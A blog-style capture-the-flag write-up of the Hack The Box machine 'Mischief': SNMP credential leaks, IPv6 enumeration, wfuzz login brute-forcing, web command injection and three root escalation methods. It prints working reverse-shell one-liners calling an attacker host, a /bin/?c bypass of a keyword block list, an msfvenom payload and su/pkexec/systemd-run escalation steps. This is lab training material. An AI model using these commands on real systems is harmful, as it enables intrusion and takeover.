Blog


HTB{ Mischief }

Jan 5, 2019 | 19 minutes read

Tags: hack the box, ipv6, snmpwalk, pkexec, polkit, command injection

trickster0 did an outstanding job creating this box. My initial run at this box took quite a while and it was very satisfying to finally root it. My favorite part of the box was the ipv6 integration. I’ve been aware of ipv6 and knew about it topically from classes/training, but I’ve never needed to do anything meaningful with it. As I worked through the box, the amount of thought trickster0 put into the box was obvious. He wove a trail through the box that was very fun to follow. This box required outside-the-box thinking more than a few times and easily deserves the Tricked badge that came along with completion.


htb-badge

tricked

Scans

masscan

As usual, we start off with a masscan followed by a targeted nmap.

masscan -e tun0 -p0-65535,U:0-65535 --rate 700 -oL masscan.10.10.10.92.all 10.10.10.92
══════════════════════════════════════════════════════════════════════════════════════

#masscan
open udp 161 10.10.10.92 1543109537
open tcp 22 10.10.10.92 1543109600
open tcp 3366 10.10.10.92 1543109602
# end

nmap

To save us from running two separate nmap scans, we can add -sU and -sT to do both udp and tcp at the same time. I’ve cut the snmp script output short because we’re going to do some different enumeration there outside of nmap.

nmap -sV -sC -sT -sU -p 161,22,3366 -oA nmap.10.10.10.92 10.10.10.92
════════════════════════════════════════════════════════════════════

PORT     STATE         SERVICE        VERSION
22/tcp   open          ssh            OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
|   256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
|_  256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
161/tcp  filtered      snmp
3366/tcp open          caldav         Radicale calendar and contacts server (Python BaseHTTPServer)
| http-auth: 
| HTTP/1.0 401 Unauthorized\x0D
|_  Basic realm=Test
|_http-server-header: SimpleHTTP/0.6 Python/2.7.15rc1
|_http-title: Site doesn't have a title (text/html).
22/udp   open|filtered ssh
161/udp  open          snmp           SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info: 
|   enterprise: net-snmp
-------------8<-------------

snmpwalk

Simple Network Management Protocol (SNMP) is a protocol for network management. It’s used for gathering information from, and configuring, network devices. We’re concerned with the information gathering aspect of SNMP. To enumerate SNMP, we’ll use snmpwalk. snmpwalk attempts to walk all of the available Management Information Bases (MIBs). Each MIB is a collection of information organized hierarchically and defines the properties of the corresponding managed object.

Before running our snmpwalk command, we should install snmp-mibs-downloader. This package will install all of the MIB files that aren’t included by default due to licensing issues.

apt install snmp-mibs-downloader

After installing the package, we need to comment out the mibs : line in /etc/snmp/snmp.conf. Doing this configures snmp to use the freshly downloaded MIBs.

1/etc/snmp/snmp.conf 
2═══════════════════
3
4# As the snmp packages come without MIB files due to license reasons, loading
5# of MIBs is disabled by default. If you added the MIBs you can reenable
6# loading them by commenting out the following line.
7# mibs :

The reason we do these setup steps is because the resulting snmpwalk output is much easier to digest with these changes made (shown below).

Example entry without changes
═════════════════════════════
iso.3.6.1.2.1.4.20.1.1.10.10.10.92 = IpAddress: 10.10.10.92

Example entry with changes
══════════════════════════
ipAdEntAddr.10.10.10.92 = IpAddress: 10.10.10.92

With all of that setup, we can run snmpwalk to enumerate the target.

snmpwalk -Os -c public -v 1 10.10.10.92
═══════════════════════════════════════
snmpwalk options used:
    -Os
        print only last symbolic element of OID
    -c public 
        set the community string to 'public'
    -v 1 
        specifies SNMP version to use

The output from snmpwalk is incredibly long, so I’ve taken the liberty of including only what’s pertinent in the output.

1sysDescr.0 = STRING: Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64
2ipAddressIfIndex.ipv4."10.10.10.92" = INTEGER: 2
3ipAddressIfIndex.ipv4."127.0.0.1" = INTEGER: 1
4ipAddressIfIndex.ipv6."00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:01" = INTEGER: 1
5ipAddressIfIndex.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:a4:3a:5e" = INTEGER: 2
6hrSWRunName.717 = STRING: "python"
7hrSWRunPath.717 = STRING: "python"
8hrSWRunParameters.717 = STRING: "-m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/"
  • line 1: Kernel information, similar to uname
  • lines 2,3: IPv4 addresses
  • lines 4,5: IPv6 addresses
  • line 7-9: python webserver process

Line 8 has the meat of what we care about next. It shows us some credentials and where we can use them.

SimpleHTTPAuthServer

When we navigate to 10.10.10.92:3366 we see a basic auth login form.

basic-auth

We can use the creds we found via SNMP to login.

  • user: loki
  • pass: godofmischiefisloki

After authenticating, we’re greeted with some new credentials.

web-creds

So far, we have 2 sets of credentials. Let’s keep ourselves organized and start a running collection of creds for this target.

Username Password Used Where?
loki godofmischiefisloki 10.10.10.92:3366
loki trickeryanddeceit N/A

There was nothing else of interest hosted here, so we can move on to the IPv6 interface we found via SNMP earlier.

nmap - IPv6

Recall that we found an IPv6 address through our SNMP enumeration.

ipAddressIfIndex.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:a4:3a:5e" = INTEGER: 2

Before we can proceed, we need to convert the SNMP output to an actual IPv6 address. An IPv6 address is comprised of eight sections of four hex values, separated by a total of seven colons. We can achieve this format by removing every other colon, leaving us with what’s below.

dead:beef:0000:0000:0250:56ff:fea4:3a5e

We can also condense this a bit by compressing the zeros. If you have consecutive fields of zeros, they can be written with two colons instead. As a heads up, you can only perform zero compression once per IPv6 address.

dead:beef::250:56ff:fea4:3a5e

Let’s scan it up and see what services we can find using that address.

Unfortunately, masscan doesn’t support IPv6, so we’ll fall back to a simple scan with nmap to find the ports, then we’ll add the script and service flags after.

nmap -p 0-65535 -6 dead:beef::250:56ff:fea4:3a5e
════════════════════════════════════════════════

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p 22,80 -sC -sV -6 -oA nmap.dead:beef::250:56ff:fea4:3a5e dead:beef::250:56ff:fea4:3a5e
═════════════════════════════════════════════════════════════════════════════════════════════

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2a:90:a6:b1:e6:33:85:07:15:b2:ee:a7:b9:46:77:52 (RSA)
|   256 d0:d7:00:7c:3b:b0:a6:32:b2:29:17:8d:69:a6:84:3f (ECDSA)
|_  256 3f:1c:77:93:5c:c0:6c:ea:26:f4:bb:6c:59:e9:7c:b0 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 400 Bad Request
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| address-info: 
|   IPv6 EUI-64: 
|     MAC address: 
|       address: 00:50:56:a4:3a:5e
|_      manuf: VMware

There’s not much that stands out in the scan other than the fact that port 80 did not show up in our original scan. Let’s check the website.

Initial Access

In case you’ve never needed to put an ipv6 address into a web browswer (I hadn’t), it’s pretty simple. Just wrap square brackets around the ipv6 address.

Ex. http://[dead:beef::250:56ff:fea4:3a5e]/

Just connecting with firefox shows us the following link to a login form. The heading Command Execution Panel sounds like we’re headed in the right direction.

please-login

After clicking the link, we see a login form.

login-form

We already have some credentials to try, but the username loki doesn’t grant us access with either of our passwords. All of the normal scans against this webserver were uninteresting, so it seems that we are in need of the right username. We can use wfuzz to quickly test some usernames with our two passwords.

wfuzz

First, let’s get both passwords into a file.

echo godofmischiefisloki > mischief-passwords
echo trickeryanddeceit >> mischief-passwords

Next, we need to grab the parameters used in the POST request. This can be done in a lot of ways, but to keep it simple, we’ll just use firefox.

While on the login page in firefox, pressing ctrl+u allows us to view the source of the page. From the source, we can look at the html form and grab the values associated with the name attributes from the input tags, as these are what we’ll need in our wfuzz command.

html-form

Now we can build out our wfuzz command.

wfuzz  -w /usr/share/wordlists/SecLists/Usernames/cirt-default-usernames.txt -w loki-passwords -c --filter 'c!=200' -d 'user=FUZZ&password=FUZ2Z' http://[dead:beef::250:56ff:fea4:3a5e]/login.php
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
wfuzz options used:
    -w WORDLIST
        Specify a wordlist file
    -c
        Output with colors
    --filter FILTER
        Filter responses using the specified expression
    -d POSTDATA
        Use post data (ex: "id=FUZZ&catalogue=1")

Because we’re using two wordlists, we can use the FUZnZ pattern to specify where to place the items from each additional wordlist. In our case, FUZZ will use items from cirt-default-usernames.txt and FUZ2Z will use items from loki-passwords.

Also, we’re using --filter 'c!=200' to exclude responses with a 200 status code. We do this because when we submit invalid credentials, we get a 200. It’s very likely in this case that a successful login will result in a redirect.

Target: http://[dead:beef::250:56ff:fea4:3a5e]/login.php
Total requests: 2475

==================================================================
ID	Response   Lines      Word         Chars          Payload    
==================================================================

000089:  C=302     28 L	      43 W	    566 Ch	  "ADMINISTRATOR - trickeryanddeceit"
000167:  C=302     28 L	      43 W	    566 Ch	  "Administrator - trickeryanddeceit"
001493:  C=302     28 L	      43 W	    566 Ch	  "administrator - trickeryanddeceit"

Total time: 19.82297
Processed Requests: 2475
Filtered Requests: 2472
Requests/sec.: 124.8551

Success! We have a valid login. Let’s update our credentials.

Username Password Used Where?
loki godofmischiefisloki 10.10.10.92:3366
administrator trickeryanddeceit http://[dead:beef::250:56ff:fea4:3a5e]/login.php

Command Execution Panel

After authenticating, we see the form below.

command-form

It’s certainly convenient to let us know that there is a file with creds in someone’s home directory, let’s grab it! Going forward, we’re going to execute the default command, capture it in burp, then send the request over to burp’s repeater so we can quickly generate different requests.

NOTE: This section is meant to demonstrate some Burp Suite functionality. If you’re already familiar with burp, please feel free to skip ahead to the loki to root section.

Conversely, if you need some help setting up burp and firefox check out the following

With burp running and firefox using burp as its proxy, we can just hit the Execute button on the Command Execution Panel page of the website so that the default request logs in burp’s http history. We can be sure we have the right request by confirming that the body of the POST request contains command=ping+-c+2+127.0.0.1.

http-history

With our request in the http history highlighted, we can press ctrl+r to send the request to burp’s repeater (you can also right click and use the context menu to do the same). After sending the request, ctrl+shift+r will jump to the repeater tab. Here’s what the same request looks like after resending it in repeater by clicking the Go button.

repeater-1

On the left hand side of the Repeater tab, we have the Request we’re sending and after pressing Go, we have the server’s Response on the right hand side.

The Response’s output from the command that was run is near the bottom of the Response, outside of the closing </html> tag. That’s mildly inconvenient when we could potentially be sending a lot of requests through repeater. We don’t want to have to scroll to the bottom of the response panel with each request, so let’s use burp’s auto-scroll feature to automate that for us.

In the search bar at the bottom of the Response pane, enter the closing </html> as the search term. After that, click the + sign and check the Auto-scroll to match when text changes option.

repeater-2

Now, we can resend the request to see the auto-scroll in action.

repeater-3

There’s one more thing we can do to make this sort of work much easier; we can setup a keybind to send our requests while in repeater! We’ll use the keybind instead of clicking the Go button each time we want to alter our request.

Click on the User Options tab, then the Misc subtab, then the Edit Hotkeys button in the Hotkeys section. The hotkey we want to edit is Issue Repeater request. Highlight that hotkey and press your preferred keybind, mine is ctrl+g (g for Go!).

hotkey-1

Ok, now that we have burp setup, we can start playing with the request itself. We already know that the default command ping -c 2 127.0.0.1 gives us Command was executed succesfully!. One of the first things we can try is a simple command injection. Adding a ; id to the command and sending it by pressing ctrl+g doesn’t show us the results of running id. However, it does change the output, we now see the results of the ping command.

repeater-4

That’s interesting. What if we put the id command first and send the new request with ctrl+g?

repeater-5

Let’s try just a single command terminated with a semi-colon.

repeater-6

We can safely assume that we’re truncating the command on the server with our semi-colon. Whatever is happening normally to suppress command output doesn’t happen when we add the semi-colon.

On to the credentials file! We need to know which user has the file, so let’s check /etc/passwd.

repeater-7

loki seems reasonable. Let’s check his home directory.

repeater-8

Well, it looks like there’s some sort of filtering going on. We can naively try and cat all files in loki’s home directory and see what that does.

repeater-9

Success! We have another set of creds. It stands to reason that these are ssh creds.

ssh loki@10.10.10.92
pass: lokiisthebestnorsegod
═══════════════════════════

-------------8<-------------
Last login: Mon Nov 26 11:00:09 2018 from 10.10.14.11
loki@Mischief:~$ cat user.txt 
bf58...

\o/ - access level: loki

Let’s update our creds again.

Username Password Used Where?
loki godofmischiefisloki 10.10.10.92:3366
administrator trickeryanddeceit http://[dead:beef::250:56ff:fea4:3a5e]/login.php
loki lokiisthebestnorsegod ssh loki@10.10.10.92

loki to root

.bash_history

While enumerating the box as loki, we find a password in loki’s .bash_history. This particular password is very easy to overlook. Because of its similarity to the process we used earlier to get our first set of creds, this could easily be mistaken for a typo.

/home/loki/.bash_history
════════════════════════

python -m SimpleHTTPAuthServer loki:lokipasswordmischieftrickery
exit
-------------8<-------------

For SnG’s, let’s check if that password is root’s password. A quick su - returns some unexpected output.

su -
════

-bash: /bin/su: Permission denied

Getting a permission denied on su deserves some investigation, but first lets store our new password in our list of creds.

Username Password Used Where?
loki godofmischiefisloki 10.10.10.92:3366
administrator trickeryanddeceit http://[dead:beef::250:56ff:fea4:3a5e]/login.php
loki lokiisthebestnorsegod ssh loki@10.10.10.92
loki? root? lokipasswordmischieftrickery N/A

Access Control Lists

During further enumeration, we get the same output when running sudo -l as we did running su. The -l option to the sudo command is used to view what commands (if any) we can run via sudo. Also, /etc/ssh/sshd_config showed that root isn’t allowed to ssh in directly, so that’s not an option.

We can do a long listing of /usr/bin/sudo and /bin/su to see what’s going on.

ls -al /usr/bin/sudo /bin/su
════════════════════

-rwsr-xr-x+ 1 root root 149080 Jan 18  2018 /usr/bin/sudo
-rwsr-xr-x+ 1 root root 44664 Jan 25  2018 /bin/su

The + sign in the permissions listing is what’s important here. A plus sign denotes the presence of an Access Control List (ACL). ACLs are used to define more fine-grained discretionary access rights for files and directories. We can view the ACL with the getfacl command.

getfacl /bin/su /usr/bin/sudo
═════════════════════════════

getfacl: Removing leading '/' from absolute path names
# file: bin/su
# owner: root
# group: root
# flags: s--
user::rwx
user:loki:r--
group::r-x
mask::r-x
other::r-x

# file: usr/bin/sudo
# owner: root
# group: root
# flags: s--
user::rwx
user:loki:r--
group::r-x
mask::r-x
other::r-x

We can clearly see that the user loki only has read access to sudo and su. Because that’s an incredibly non-standard way to disallow usage of these commands, it’s almost certainly related to privilege escalation.

These particular ACLs are effectively a blacklist. They only disallow loki from running these two commands. The commands function normally for any other user. Fortunately, we already have command execution as www-data. Let’s go back and grab an interactive shell as www-data.

su as www-data (root method 1)

Seeing as we already have access to the target as loki, we can leverage that access to simplify getting a shell as www-data.

Testing Connectivity

Before attempting to trigger a callback, we should test communication between us and the target using our loki shell.

KALI:       nc -nvlp 12345 
MISCHIEF:   nc -nv 10.10.14.11 12345
════════════════════════════════════
(no connection made)

MISCHIEF:   nc -nvlp 12345
KALI:       nc -vn 10.10.10.92 12345
════════════════════════════════════
(no connection made)

No combination of ports worked for me for ipv4 communications. We’ve already seen ipv6 play a role for this box, maybe it’ll work where ipv4 didn’t. The default netcat installed on kali doesn’t know how to speak ipv6, so we can install ncat.

apt install ncat

Now we can perform our test.

KALI:       nc -nvl6p 12345 
MISCHIEF:   nc -nv6 dead:beef:2::1009 12345
═══════════════════════════════════════════

Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::12345
Ncat: Connection from dead:beef::250:56ff:fea4:41ed.
Ncat: Connection from dead:beef::250:56ff:fea4:41ed:49908.

Noice! We’re going to show two ways of catching a callback here. First, we’ll bypass the filter on the Command Execution Panel with netcat. After that, we’ll use a payload I created and submitted to Metasploit for integration into the framework.

Netcat Callback

When we cat /var/www/html/index.php, we can see that there is some filtering done that dictates what the webpage will and will not execute. The strpos($cmd, "nc" ) part of the if statement is checking for the presence of the substring nc in the entire line submitted through the Command Execution Panel.

While we’re here, we can also see that system("$cmd > /dev/null 2>&1"); is the line that runs the commands on the server from the Command Execution Panel. When we add a semi-colon to the command, it prevents the redirection of STDOUT and STDERR to /dev/null.

-------------8<-------------
if(isset($_POST['command'])) {
	$cmd = $_POST['command'];
	if (strpos($cmd, "nc" ) !== false){
		echo "Command is not allowed.";
	} elseif (strpos($cmd, "bash" ) !== false){
		echo "Command is not allowed.";
	} elseif (strpos($cmd, "chown" ) !== false){
-------------8<-------------
		system("$cmd > /dev/null 2>&1");

We could bypass the strpos filter easily by just copying nc to another name that isn’t being filtered. Instead, I’ll demonstrate what I think is a neat bypass method here.

As an example, try this in your kali terminal.

/bin/?c -h 

The question mark in bash is a wildcard that represents any single character. If you specified something at the command line like hd? GNU/Linux would look for hda, hdb, hdc and every other letter/number between a-z, 0-9. In our case, it will expand out to /bin/nc -h. If you run the command above, you should see the help output of netcat.

Let’s generate a quick callback with shellpop.

shellpop --payload linux/reverse/tcp/netcat_openbsd --host dead:beef:2::1009 --port 12345
═════════════════════════════════════════════════════════════════════════════════════════

[+] Execute this code in remote target: 

if [ -e /tmp/f ]; then rm /tmp/f;fi;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc dead:beef:2::1009 12345 > /tmp/f

We just need to slightly alter this to specify ipv6 and incorporate our filter bypass.

The final command should look like this.

if [ -e /tmp/f ]; then rm /tmp/f;fi;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/bin/?c -nv6 dead:beef:2::1009 12345 > /tmp/f;

The semi-colon at the end of the command is important because we don’t want our STDOUT and STDERR to get redirected to /dev/null.

If we setup a listener and execute that command in the Command Execution Panel, we’ll get a shell!

Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::12345
Ncat: Connection from dead:beef::250:56ff:fea4:4a28.
Ncat: Connection from dead:beef::250:56ff:fea4:4a28:34364.
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Go team!

shell_reverse_ipv6_tcp callback

Alright, the first callback method is done, now let’s go ahead and generate an ipv6 payload for the target. Running a uname -a will show us that the box is a 64-bit target, so we’ll need to specify a 64 bit payload when running msfvenom.

Linux Mischief 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

When trying to build a 64-bit linux reverse shell that used ipv6, I found that the payload didn’t exist in Metasploit. That seemed odd, even BSD had an ipv6 payload for 64-bit systems! When I arrived at this point while re-doing Mischief for this write-up, I thought it would be fun to write the payload. You can find my pull request for the bind and reverse shells here.

For the purposes of progressing with the box (assuming that these payloads haven’t been integrated by the time you read this), the following commands will get the payloads into the proper locations for you.

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/cb3ea8dfed093d1dc890c7fbe7fec16ab609b94e/modules/payloads/singles/linux/x64/shell_reverse_ipv6_tcp.rb -O /usr/share/metasploit-framework/modules/payloads/singles/linux/x64/shell_reverse_ipv6_tcp.rb

wget https://raw.githubusercontent.com/rapid7/metasploit-framework/cb3ea8dfed093d1dc890c7fbe7fec16ab609b94e/modules/payloads/singles/linux/x64/shell_bind_ipv6_tcp.rb -O /usr/share/metasploit-framework/modules/payloads/singles/linux/x64/shell_bind_ipv6_tcp.rb

Now we can generate the payload.

msfvenom -p linux/x64/shell_reverse_ipv6_tcp LPORT=12345 LHOST='dead:beef:2::1009' -f elf -o rev-x64-ipv6-12345.elf
═══════════════════════════════════════════════════════════════════════════════════════════════════════════════════

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 105 bytes
Final size of elf file: 225 bytes
Saved as: rev-x64-ipv6-12345.elf

Then scp the payload to the target as loki.

scp rev-x64-ipv6-12345.elf loki@10.10.10.92:
pass: lokiisthebestnorsegod
════════════════════════════════════════════════

rev-x64-ipv6-12345.elf                                                                    100%  225     3.4KB/s   00:00    

Don’t forget to make it executable!

chmod +x /home/loki/rev-x64-ipv6-12345.elf

Finally, on Kali, we need to setup our listener.

nc -vn6lp 12345

After getting all that squared away, we need to log in to the Command Execution Panel again. The only task for us here after logging in is to put the absolute path to our payload in the field and press Execute.

www-data-reverse

Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::12345
Ncat: Connection from dead:beef::250:56ff:fea4:4a28.
Ncat: Connection from dead:beef::250:56ff:fea4:4a28:34360.

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ok, now we have a shell as www-data (again), let’s wrap this one up!

su to root

With our shell, we can use python to grab a pty, then finally have a chance to try our creds against the root account.

python -c 'import pty;pty.spawn("/bin/bash")'
═════════════════════════════════════════════

www-data@Mischief:/var/www/html$ 
su - 
Password: lokipasswordmischieftrickery

root@Mischief:~# id
uid=0(root) gid=0(root) groups=0(root)

\o/ - root access

pkexec (root method 2)

As loki, we’re not allowed to execute commands as another user by using sudo/su. Though, it turns out there are some other commands we can use in their place to accomplish the same thing!

The second method we’ll use is pkexec. pkexec is part of a larger system known as polkit (formerly PolicyKit). polkit is used for controlling system-wide privileges. It provides an organized way for non-privileged processes to communicate with privileged ones. In contrast to systems such as sudo, it does not grant root permission to an entire process, but rather allows a finer level of control.

pkexec allows an authorized user to execute a command as another user. Sounds a lot like sudo, right? The catch here is that we need root’s password to authenticate instead of membership in /etc/sudoers. Let’s give it a shot.

 1pkexec bash
 2═══════════
 3
 4==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
 5Authentication is needed to run `/bin/bash' as the super user
 6Authenticating as: root
 7Password: lokipasswordmischieftrickery
 8polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
 9==== AUTHENTICATION FAILED ===
10Error executing command as another user: Not authorized
11
12This incident has been reported.

Our first attempt failed. But it failed with a strange error. A simple google for the No session for cookie error brings us to this excellent github issue. In that issue, a solution to our problem is suggested.

The suggested fix is to run pkttyagent in a separate terminal. pkttyagent is used to start a textual authentication agent for a subject. The subject in this case is the shell where we’ll run pkexec.

pkexec

Steps to complete this method

  • ssh to 10.10.10.92 twice (two separate terminals)
  • TERMINAL ONE: echo $$ to get the shell’s pid
  • TERMINAL TWO: pkttyagent --process PID_OF_TERMINAL_ONE (this process blocks)
  • TERMINAL ONE: pkexec bash
  • TERMINAL TWO: You’ll be prompted for the password here, auth with lokipasswordmischieftrickery
  • TERMINAL ONE: \o/ - Throw ‘em up, we’re root!

\o/ - double root access

systemd-run (root method 3)

The third and final method we’ll look at is systemd-run. systemd-run may be used to create and start a transient systemd .service or .scope unit and run the specified command in it. Authentication for this command is also handled by polkit. Of note, if a command is run as service unit, the first argument needs to be an absolute program path.

 systemd-run --pty /bin/bash
 ═══════════════════════════

==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ===
Authentication is required to manage system services or other units.
Authenticating as: root
Password:  lokipasswordmischieftrickery
==== AUTHENTICATION COMPLETE ===
Running as unit: run-u174.service
Press ^] three times within 1s to disconnect TTY.
root@Mischief:/# id
uid=0(root) gid=0(root) groups=0(root)

This is by far my favorite method. It’s simple, straightforward, and most importantly, effective.

\o/ - triple root access

I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.

epi-htb-badge

Additional Resources

  1. wfuzz - Advanced Usage

comments powered by Disqus